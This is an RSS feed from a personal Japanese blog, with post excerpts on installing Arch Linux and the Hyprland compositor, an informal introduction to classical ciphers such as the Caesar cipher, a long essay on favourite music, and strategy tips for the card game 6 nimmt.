<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>Unigiri</title>
    <link>https://unigiri.gitlab.io/</link>
    <description>Recent content on Unigiri</description>
    <image>
      <title>Unigiri</title>
      <url>https://unigiri.gitlab.io/images/unigiri.png</url>
      <link>https://unigiri.gitlab.io/images/unigiri.png</link>
    </image>
    <generator>Hugo</generator>
    <language>ja-JP</language>
    <lastBuildDate>Thu, 22 Jan 2026 10:28:49 +0900</lastBuildDate>
    <atom:link href="https://unigiri.gitlab.io/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>Arch LinuxへのHyprlandインストール手順</title>
      <link>https://unigiri.gitlab.io/posts/install-hyprland-on-arch-linux/</link>
      <pubDate>Thu, 22 Jan 2026 10:28:49 +0900</pubDate>
      <guid>https://unigiri.gitlab.io/posts/install-hyprland-on-arch-linux/</guid>
      <description>&lt;p&gt;&lt;a href=&#34;https://archlinux.org/&#34;&gt;Arch Linux&lt;/a&gt;のコンポジターとして&lt;a href=&#34;https://hypr.land/&#34;&gt;Hyprland&lt;/a&gt;をインストールする&lt;br&gt;
ここでは、コンポジターとは何か、Hyprlandの特徴、他のコンポジター等との比較については省略する&lt;/p&gt;
&lt;h2 id=&#34;hyprlandのインストール&#34;&gt;Hyprlandのインストール&lt;/h2&gt;
&lt;p&gt;&lt;a href=&#34;https://wiki.hypr.land/Getting-Started/Installation/&#34;&gt;Installation – Hyprland Wiki&lt;/a&gt;に従いインストール&lt;br&gt;
ここではArch Linuxにインストールするため、以下のコマンドを実行&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sudo pacman -S hyprland
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;フォントのインストール&#34;&gt;フォントのインストール&lt;/h2&gt;
&lt;p&gt;Hyprlandは初期設定用のフォントとして &lt;code&gt;sans-serif&lt;/code&gt; あるいは &lt;code&gt;noto-fonts&lt;/code&gt; を使用するため、予めインストール&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sudo pacman -S noto-fonts
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;uwsm用起動スクリプトの追記&#34;&gt;uwsm用起動スクリプトの追記&lt;/h2&gt;
&lt;p&gt;Hyprlandを直接起動する方法もあるが、今回はuwsmを用いて起動する&lt;br&gt;
&lt;a href=&#34;https://wiki.hypr.land/Useful-Utilities/Systemd-start/&#34;&gt;Systemd startup – Hyprland Wiki&lt;/a&gt;に従い、必要なパッケージをインストール&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;pacman -S uwsm libnewt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;その後、以下のスクリプトを適当なファイルに追記&lt;br&gt;
ここでは &lt;code&gt;~/.profile&lt;/code&gt; に追記する&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; uwsm check may-start &lt;span class=&#34;o&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt; uwsm &lt;span class=&#34;k&#34;&gt;select&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;nb&#34;&gt;exec&lt;/span&gt; uwsm start default
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Warning&lt;/strong&gt;&lt;br&gt;
ここで &lt;code&gt;~/.bash_profile&lt;/code&gt; 等、ログイン時に自動的に読み込まれるファイルに起動スクリプトを追記すると、問題が生じた時にCUI画面に戻ることが困難になる&lt;br&gt;
そのため、インストール作業段階では自動で読み込まれないファイルに追記し、全ての作業が終わった後に &lt;code&gt;~/.bash_profile&lt;/code&gt; 等に転記することが望ましい&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&#34;hyprlandの起動&#34;&gt;Hyprlandの起動&lt;/h2&gt;
&lt;p&gt;以下のコマンドで起動し、初回起動画面が表示されることを確認&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;source&lt;/span&gt; ~/.profile
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Notice&lt;/strong&gt;&lt;br&gt;
この時、rootユーザから &lt;code&gt;sudo su - USER&lt;/code&gt; でログインしてコマンドを実行せず、USERで直接ログインすること&lt;br&gt;
su経由でのログインでは必要な環境変数が設定されず、以下のエラーが発生する&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;[CRITICAL] Critical error thrown: XDG_RUNTIME_DIR is not set!  
terminate called after throwing an instance of &amp;#39;std::runtime_error&amp;#39;  
  what():  XDG_RUNTIME_DIR is not set!  
Aborted (core dumped)
&lt;/code&gt;&lt;/pre&gt;&lt;/blockquote&gt;
&lt;h2 id=&#34;必須パッケージのインストール&#34;&gt;必須パッケージのインストール&lt;/h2&gt;
&lt;p&gt;初回起動画面でチュートリアル実施を選択すると、必須あるいはほぼ必須のパッケージをインストールするよう案内されるため、&lt;a href=&#34;https://wiki.hypr.land/Useful-Utilities/&#34;&gt;Useful Utilities – Hyprland Wiki&lt;/a&gt;に従い利用したいパッケージを &lt;code&gt;sudo pacman -S&lt;/code&gt; でインストール&lt;/p&gt;</description>
    </item>
    <item>
      <title>Arch Linuxのインストール手順</title>
      <link>https://unigiri.gitlab.io/posts/install-arch-linux/</link>
      <pubDate>Thu, 22 Jan 2026 10:19:09 +0900</pubDate>
      <guid>https://unigiri.gitlab.io/posts/install-arch-linux/</guid>
      <description>&lt;p&gt;&lt;a href=&#34;https://archlinux.org/&#34;&gt;Arch Linux&lt;/a&gt;のインストール手順を記録する&lt;br&gt;
なお、Arch Linuxの概要や、他のOSとの比較等は省略する&lt;/p&gt;
&lt;h2 id=&#34;isoインストール&#34;&gt;ISOインストール&lt;/h2&gt;
&lt;p&gt;ダウンロードページからiso、sig、b2sums.txtをダウンロードし、以下のコマンドで検証&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;b2sum -c b2sums.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;gpg --auto-key-locate clear,wkd -v --locate-external-key pierre@archlinux.org
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;gpg --verify archlinux-x86_64.iso.sig archlinux-2025.12.01-x86_64.iso
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;usbインストールメディア作成&#34;&gt;USBインストールメディア作成&lt;/h2&gt;
&lt;h3 id=&#34;usbドライブ名確認&#34;&gt;USBドライブ名確認&lt;/h3&gt;
&lt;p&gt;以下のコマンドでUSBドライブの名前を調べ、それらがマウントされていないことを &lt;code&gt;lsblk&lt;/code&gt; で確認&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;ls -l /dev/disk/by-id/usb-*
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;また、この時にドライブのパスを記録&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;$ ls -l /dev/disk/by-id/usb-*
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;lrwxrwxrwx &lt;span class=&#34;m&#34;&gt;1&lt;/span&gt; root root  &lt;span class=&#34;m&#34;&gt;9&lt;/span&gt; Dec  &lt;span class=&#34;m&#34;&gt;3&lt;/span&gt; 20:43 /dev/disk/by-id/usb-USB_SanDisk_3.2Gen1_01014dec9e899c24c9a933abd583c7db91b06dc2501e61ce2ea209f7b695be8ac04c00000000000000000000289980daff12780081558107712e850b-0:0 -&amp;gt; ../../sda
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;lrwxrwxrwx &lt;span class=&#34;m&#34;&gt;1&lt;/span&gt; root root &lt;span class=&#34;m&#34;&gt;10&lt;/span&gt; Dec  &lt;span class=&#34;m&#34;&gt;3&lt;/span&gt; 20:43 /dev/disk/by-id/usb-USB_SanDisk_3.2Gen1_01014dec9e899c24c9a933abd583c7db91b06dc2501e61ce2ea209f7b695be8ac04c00000000000000000000289980daff12780081558107712e850b-0:0-part1 -&amp;gt; ../../sda1
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;lrwxrwxrwx &lt;span class=&#34;m&#34;&gt;1&lt;/span&gt; root root &lt;span class=&#34;m&#34;&gt;10&lt;/span&gt; Dec  &lt;span class=&#34;m&#34;&gt;3&lt;/span&gt; 20:43 /dev/disk/by-id/usb-USB_SanDisk_3.2Gen1_01014dec9e899c24c9a933abd583c7db91b06dc2501e61ce2ea209f7b695be8ac04c00000000000000000000289980daff12780081558107712e850b-0:0-part2 -&amp;gt; ../../sda2
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;$ &lt;span class=&#34;nb&#34;&gt;export&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;MYDRIVE&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;/dev/disk/by-id/usb-USB_SanDisk_3.2Gen1_01014dec9e899c24c9a933abd583c7db91b06dc2501e61ce2ea209f7b695be8ac04c00000000000000000000289980daff12780081558107712e850b-0:0
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;再フォーマット&#34;&gt;再フォーマット&lt;/h3&gt;
&lt;p&gt;以前そのUSBを他のOSのインストールメディアをして使用していた場合、以下のコマンドでISO 9660ファイルシステムシグネチャを削除&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sudo wipefs --all &lt;span class=&#34;nv&#34;&gt;$MYDRIVE&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;isoファイル書き込み&#34;&gt;ISOファイル書き込み&lt;/h3&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sudo su -
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;cat archlinux-x86_64.iso &amp;gt; /dev/disk/by-id/usb-USB_SanDisk_3.2Gen1_01014dec9e899c24c9a933abd583c7db91b06dc2501e61ce2ea209f7b695be8ac04c00000000000000000000289980daff12780081558107712e850b-0&lt;span class=&#34;se&#34;&gt;\:&lt;/span&gt;&lt;span class=&#34;m&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sync
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;インストールの準備&#34;&gt;インストールの準備&lt;/h2&gt;
&lt;p&gt;&lt;a href=&#34;https://unigiri.gitlab.io/posts/install-arch-linux/#usb%e3%82%a4%e3%83%b3%e3%82%b9%e3%83%88%e3%83%bc%e3%83%ab%e3%83%a1%e3%83%87%e3%82%a3%e3%82%a2%e4%bd%9c%e6%88%90&#34;&gt;USBインストールメディア作成&lt;/a&gt;で作成したメディアをインストールしたいデバイスに挿し、起動&lt;/p&gt;</description>
    </item>
    <item>
      <title>魔法少女まどか☆マギカ 同時視聴感想書き起こし&#43;改めての感想</title>
      <link>https://unigiri.gitlab.io/posts/thoughts-on-puella-magi-madoka-magica/</link>
      <pubDate>Wed, 17 Dec 2025 00:00:00 +0900</pubDate>
      <guid>https://unigiri.gitlab.io/posts/thoughts-on-puella-magi-madoka-magica/</guid>
      <description>卓ゲ箪笥 Advent Calendar 2025 17日目</description>
    </item>
    <item>
      <title>好きな料理レシピについて語る記事</title>
      <link>https://unigiri.gitlab.io/posts/my-favorite-cooking-recipes-2025/</link>
      <pubDate>Fri, 12 Dec 2025 00:00:00 +0900</pubDate>
      <guid>https://unigiri.gitlab.io/posts/my-favorite-cooking-recipes-2025/</guid>
      <description>卓ゲ箪笥 Advent Calendar 2025 12日目</description>
    </item>
    <item>
      <title>暗号について語る記事</title>
      <link>https://unigiri.gitlab.io/posts/i-love-cryptography/</link>
      <pubDate>Fri, 06 Dec 2024 23:13:01 +0900</pubDate>
      <guid>https://unigiri.gitlab.io/posts/i-love-cryptography/</guid>
      <description>&lt;h2 id=&#34;はじめに&#34;&gt;はじめに&lt;/h2&gt;
&lt;p&gt;こんにちは。うにぎりです。&lt;/p&gt;
&lt;p&gt;これは&lt;a href=&#34;https://adventar.org/calendars/9950&#34;&gt;卓ゲ箪笥 Advent Calendar 2024&lt;/a&gt;の7日目の記事ですが、内容はボードゲームやTRPGに関係ありません。&lt;br&gt;
&lt;a href=&#34;https://unigiri.gitlab.io/notes/my-favorite-songs/&#34;&gt;去年&lt;/a&gt;のような、好きなことを喋る記事です。&lt;br&gt;
今年は暗号について好き放題喋ります。&lt;/p&gt;
&lt;p&gt;日程枠が1つだけ空いているので適当な記事で埋めようというモチベーション故に、推敲はほぼしないし口語で書きますしファクトチェックはしません。&lt;br&gt;
なんか同じ研究室の人が酒飲みながら適当言っとるわくらいの気持ちで読んでいただけると嬉しいです。&lt;/p&gt;
&lt;h2 id=&#34;前提&#34;&gt;前提&lt;/h2&gt;
&lt;h3 id=&#34;暗号とは&#34;&gt;暗号とは&lt;/h3&gt;
&lt;p&gt;まずは言葉の定義から始めましょう。定義は重要。&lt;br&gt;
暗号とは文章をいい感じに読みにくくする手法の事です。&lt;/p&gt;
&lt;p&gt;不特定多数に読まれたくない文章等がある時、大きく分けて2種類の対策方法があります。&lt;br&gt;
ステガノグラフィーとクリプトグラフィーです。&lt;/p&gt;
&lt;p&gt;ステガノグラフィーは、文章の存在を隠す手法です。&lt;br&gt;
みかん果汁で紙に文字を書いた後に乾かすと、一見何も書いてない紙に見えるのに火で炙ると文字が浮かび上がる的なやつです。&lt;/p&gt;
&lt;p&gt;クリプトグラフィーは、文章をそのままでは読めないようにする手法です。&lt;br&gt;
読めないようにした文章自体が存在することは不特定多数に知られてしまいますが、読むためにはその文章を読める形に戻す方法を知っている必要があります。&lt;br&gt;
元の文章を平文、読めないようにした文章を暗号文、読めないように加工する処理を暗号化、元の文章に戻す処理を復号と呼びます。&lt;br&gt;
また、復号方法を知らない第三者が暗号文を平文に戻そうとすることを解読、そのような事をする第三者を攻撃者とこの記事では呼ぶことにします。&lt;/p&gt;
&lt;p&gt;日本語で暗号と呼ばれているやつはクリプトグラフィーです。&lt;/p&gt;
&lt;p&gt;余談ですが、暗号文から平文に戻せないようなものは暗号ではありません。&lt;br&gt;
つまり、ハッシュ値は暗号文ではないということです。ハッシュとは何かは後で書きます。&lt;/p&gt;
&lt;h3 id=&#34;暗号の種類&#34;&gt;暗号の種類&lt;/h3&gt;
&lt;p&gt;暗号も大きく分けて2種類あります。&lt;br&gt;
コードとサイファーです。&lt;/p&gt;
&lt;p&gt;コードは、ある文章等を別の言い方で表現したものです。&lt;br&gt;
我奇襲に成功せりをトラトラトラと言い換えたり、飲食業でお手洗いに行くのを4番と言い換えたりするやつです。&lt;/p&gt;
&lt;p&gt;サイファーは、平文の内容に関わらず一定の手法で読みにくくしたものです。&lt;br&gt;
コードはあらかじめ取り決めた情報以外は表現できませんが、サイファーなら色々な情報を表現できます。&lt;br&gt;
ちょっと例が難しいのですが、「あ」を1、「い」を2、「う」を3という風に順番に数字を割り当てるというルールを作っておくと、「あいうえお」や「こんにちは」などの色々な文章を数字で表現できるみたいな感じです。&lt;/p&gt;
&lt;p&gt;この記事では基本的にサイファーを扱います。&lt;/p&gt;
&lt;h2 id=&#34;いくつかの暗号の紹介&#34;&gt;いくつかの暗号の紹介&lt;/h2&gt;
&lt;h3 id=&#34;シーザー暗号&#34;&gt;シーザー暗号&lt;/h3&gt;
&lt;p&gt;必要な言葉の定義が終わったので、そろそろ実際の暗号手法について喋ります。&lt;br&gt;
シンプルなものから始めます。&lt;/p&gt;
&lt;p&gt;手法がシンプルで古くから存在し、とても有名なのはシーザー暗号です。&lt;br&gt;
カエサル暗号やシフト暗号とも呼ばれたり、英語だとROTと呼ばれたりします。&lt;/p&gt;
&lt;p&gt;やり方はシンプルで、各文字をN文字分ずらします。&lt;br&gt;
仮に1文字分後ろにずらすケースで説明すると、aを1つ後ろにずらしてbに、bを同様にずらしてcに、cを同様に&amp;hellip;という処理をします。&lt;br&gt;
平文が &lt;code&gt;abcde&lt;/code&gt; の場合は暗号文は &lt;code&gt;bcdef&lt;/code&gt; になり、 &lt;code&gt;Hello, I&#39;m Unigiri. Glad to have you here.&lt;/code&gt; は &lt;code&gt;Ifmmp, J&#39;n Vojhjsj. Hmbe up ibwf zpv ifsf.&lt;/code&gt; になります。長文になるとだいぶ暗号文っぽく見えますね。&lt;/p&gt;
&lt;p&gt;この手法の弱点としては、頻度分析と全探索に弱い点です。&lt;/p&gt;
&lt;p&gt;シーザー暗号では、ある文字は常に特定の文字に変換されます。1文字後ろにずらすケースでは &lt;code&gt;a&lt;/code&gt; は常に &lt;code&gt;b&lt;/code&gt; になります。&lt;br&gt;
つまり、例として平文中に &lt;code&gt;a&lt;/code&gt; が20回登場する場合、暗号文中に &lt;code&gt;b&lt;/code&gt; が必ず20回登場します。&lt;br&gt;
各言語にはたくさん使われがちな文字というものがあるので、この文字がたくさん登場しているということはおそらく元々はこの文字で&amp;hellip;みたいな感じで推測しながら解読できます。&lt;/p&gt;</description>
    </item>
    <item>
      <title>好きな曲について語る記事</title>
      <link>https://unigiri.gitlab.io/posts/my-favorite-songs/</link>
      <pubDate>Tue, 05 Dec 2023 17:00:00 +0900</pubDate>
      <guid>https://unigiri.gitlab.io/posts/my-favorite-songs/</guid>
      <description>&lt;p&gt;これは &lt;a href=&#34;https://adventar.org/calendars/8983&#34;&gt;卓ゲ箪笥 Advent Calendar 2023&lt;/a&gt; 5日目の記事です。&lt;br&gt;
4日目はもぐくん☆さんの&lt;a href=&#34;http://moumoon.jp/PCS/m%e3%83%aa%e3%83%bc%e3%82%b0%ef%bc%88%e9%ba%bb%e9%9b%80%ef%bc%89%e3%81%ab%e3%81%a4%e3%81%84%e3%81%a6%e3%81%ae%e8%80%83%e5%af%9f/&#34;&gt;Mリーグ（麻雀）についての考察&lt;/a&gt;でした。&lt;/p&gt;
&lt;h2 id=&#34;はじめに&#34;&gt;はじめに&lt;/h2&gt;
&lt;p&gt;今年もアドベントカレンダーの季節がやってきましたね！&lt;br&gt;
うにぎりと申します。&lt;/p&gt;
&lt;p&gt;今年の9月26日に &lt;a href=&#34;https://tablegame.mstdn.cloud&#34;&gt;箪笥&lt;/a&gt; で私が以下のような画像を投稿しました。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://tablegame.mstdn.cloud/@unigiri/111127497256650263&#34;&gt;https://tablegame.mstdn.cloud/@unigiri/111127497256650263&lt;/a&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;これは寝られないのでなんとなく作った好きな音楽アルバムのコラージュ42枚です&lt;/p&gt;
&lt;/blockquote&gt;
&lt;figure&gt;
    &lt;img loading=&#34;lazy&#34; src=&#34;./images/albums-collage.png&#34; width=&#34;700&#34;/&gt; &lt;figcaption&gt;
            アルバムのコラージュ画像
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;好きなものを語るのに、誰がコラージュ画像だけで満足するでしょうか。&lt;br&gt;
というわけで、これは私の好きな曲について満足するまで語る記事です。&lt;br&gt;
コラージュ画像で挙げたアーティストについて、特定のアルバムに限らず語ります。&lt;/p&gt;
&lt;h2 id=&#34;注意事項&#34;&gt;注意事項&lt;/h2&gt;
&lt;h3 id=&#34;この記事は長いです&#34;&gt;この記事は長いです&lt;/h3&gt;
&lt;p&gt;好きなものについて語る文章は勢いが大事だと考えているので、あえて推敲しません。&lt;br&gt;
そのため、この記事はとても長くなる可能性が高いです。&lt;/p&gt;
&lt;p&gt;この文章を書いている時点では全体の文章量がどの程度になるかは未定ですが、参考までに去年の記事 &lt;a href=&#34;https://unigiri.gitlab.io/notes/6nimmt-tips/&#34;&gt;ニムト(6人プレイ版)で勝ちやすくなるコツ&lt;/a&gt; はきちんと推敲して不要な文を削りました。&lt;/p&gt;
&lt;p&gt;追記: 28,000字くらいになりました。&lt;/p&gt;
&lt;h3 id=&#34;この記事は読みにくいです&#34;&gt;この記事は読みにくいです&lt;/h3&gt;
&lt;p&gt;句読点や改行に全く気を使わず書いているため、この記事は読みにくいです。&lt;br&gt;
適宜読み飛ばしたりしてお楽しみください。&lt;/p&gt;
&lt;h3 id=&#34;これは曲をおすすめしたり解説したりする記事ではなく私が好きなように語るだけの記事です&#34;&gt;これは曲をおすすめしたり解説したりする記事ではなく、私が好きなように語るだけの記事です&lt;/h3&gt;
&lt;p&gt;つまり、そのアーティストや曲を知らない人のための基本的な説明を必ずしも行うわけではないということです。&lt;br&gt;
アーティストのジャンルや来歴等の基本的な情報は、各アーティストの公式ページをご参照ください。&lt;/p&gt;
&lt;p&gt;また、隙あらば自分語り(以下、隙自語)はなるべく控えるよう心がけていますが、好きなように語る都合上多少は混入しています。&lt;br&gt;
目に余る場合、適宜読み飛ばしてください。&lt;/p&gt;
&lt;h3 id=&#34;この記事には特定の宗教や思想等について何らかの主張をする意図はありません&#34;&gt;この記事には特定の宗教や思想等について何らかの主張をする意図はありません&lt;/h3&gt;
&lt;p&gt;この記事内のいくつかの曲は特定の宗教あるいは思想について言及しますが、その曲を通じて私が何らかの主張を行う意図はありません。&lt;br&gt;
なぜこの注意事項が必要かというと、記事内で Monty Python について言及するためです。&lt;/p&gt;
&lt;h3 id=&#34;記事内のリンクについて&#34;&gt;記事内のリンクについて&lt;/h3&gt;
&lt;p&gt;記事内で言及する曲がYouTubeの公式動画として公開されている場合、その動画へリンクを貼ります。&lt;br&gt;
よろしければ、ぜひ聴いてみてください。&lt;/p&gt;
&lt;h2 id=&#34;tldr-曲だけ聴きたい人へ&#34;&gt;TL;DR (曲だけ聴きたい人へ)&lt;/h2&gt;
&lt;p&gt;記事内の公式動画をまとめた、YouTubeのプレイリストを作成しました。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://www.youtube.com/playlist?list=PLzmsa-PnB9sEZhjHIA0zCYcp76vEg7KLk&#34;&gt;https://www.youtube.com/playlist?list=PLzmsa-PnB9sEZhjHIA0zCYcp76vEg7KLk&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;また、前述のコラージュ画像の42枚のアルバムのうち、ストリーミング配信されているものをまとめたSpotifyプレイリストも作成しました。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://open.spotify.com/playlist/3NUVVOo17GAGjcdY8mY4sw?si=0717eaf5b2674c6c&#34;&gt;https://open.spotify.com/playlist/3NUVVOo17GAGjcdY8mY4sw?si=0717eaf5b2674c6c&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&#34;ここから本編です&#34;&gt;ここから本編です&lt;/h2&gt;
&lt;p&gt;ここから先は「めっちゃ好き！！！！！」「良い！！！！！！！！！！」「生まれてきてくれてありがとう！！！！！！！！」くらいしか言いません&lt;/p&gt;
&lt;h2 id=&#34;マキシマム-ザ-ホルモン&#34;&gt;マキシマム ザ ホルモン&lt;/h2&gt;
&lt;p&gt;初っ端から曲のリンクを貼れない！！！！なぜならホルモンは基本的にYouTubeや曲のストリーミング配信をしていなからです&lt;/p&gt;
&lt;p&gt;ホルモンめっちゃ良くて、良い もう語彙力が無くなっちゃった&lt;br&gt;
歌詞は聞き取れないけど歌詞を聞き取る必要がある曲ではないので問題はないです&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=HEwAiwttN10&#34;&gt;チェンソーマンのED曲&lt;/a&gt;めーーーーーーっちゃ良かったですね、あの作品の世界観に本当に合ってた&lt;br&gt;
私ドラムのナヲさんがめちゃくちゃ好きなんですけど、歌声 本当に かわいい&lt;br&gt;
&lt;a href=&#34;https://www.youtube.com/watch?v=Fh7GaJ-HVZg&#34;&gt;爪爪爪&lt;/a&gt;のMVのチャイナめっちゃかわいい めっちゃ似合う&lt;/p&gt;
&lt;p&gt;ホルモンの曲が入ったiPod Classicが失われて久しいので、色々思い出しながら話すしか無いんですが&lt;br&gt;
当時何をよく聴いてたっけ、川北猿員とかROLLING1000tOONとか&lt;br&gt;
今ディスコグラフィーを眺めていたらロッキンポ殺しのアルバムを特によく聴いていた&lt;br&gt;
このアルバム名曲しか入ってないな このアルバムに限らずホルモンには名曲しかありませんが&lt;/p&gt;
&lt;p&gt;ここからは隙自語なんですが、コラージュの最初になぜホルモンを持ってきたかというと音楽を積極的に聴き始めたきっかけだったからです&lt;br&gt;
それまでは観ているアニメの主題歌とか流行ってそうなやつとかを聴いてたんですが&lt;br&gt;
高校の文化祭でホルモンのコピーバンド(かなり出来が良かった)を聴いて「こんな音楽があるのか！！！！すご！！！！」と思ってその足でそのコピーバンドに「ファンになりました、次のライブも行きます」と言いにいったらそれが解散ライブだったらしくショックを受けながらオリジナルのホルモンのアルバムを揃えました&lt;br&gt;
アニメ主題歌起因以外の音楽を積極的に漁るようになったのはその時からだったと思います 多分&lt;/p&gt;</description>
    </item>
    <item>
      <title>ニムト(6人プレイ版)で勝ちやすくなるコツ</title>
      <link>https://unigiri.gitlab.io/posts/6nimmt-tips/</link>
      <pubDate>Thu, 01 Dec 2022 00:00:00 +0900</pubDate>
      <guid>https://unigiri.gitlab.io/posts/6nimmt-tips/</guid>
      <description>&lt;p&gt;この記事は&lt;a href=&#34;https://adventar.org/calendars/7799&#34;&gt;卓ゲ箪笥 Advent Calendar 2022&lt;/a&gt;の1日目の記事です。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://ja.wikipedia.org/wiki/%E3%83%8B%E3%83%A0%E3%83%88&#34;&gt;ニムト&lt;/a&gt;というカードゲームをご存知でしょうか？&lt;br&gt;
この記事はニムトのルールを知らないと始まらないので、ここではご存知であるという前提で話を進めます。&lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;h2 id=&#34;1-はじめに&#34;&gt;1. はじめに&lt;/h2&gt;
&lt;p&gt;ニムトは人数やヴァリアントルールの採用有無により戦略が大幅に変わるゲームです。&lt;br&gt;
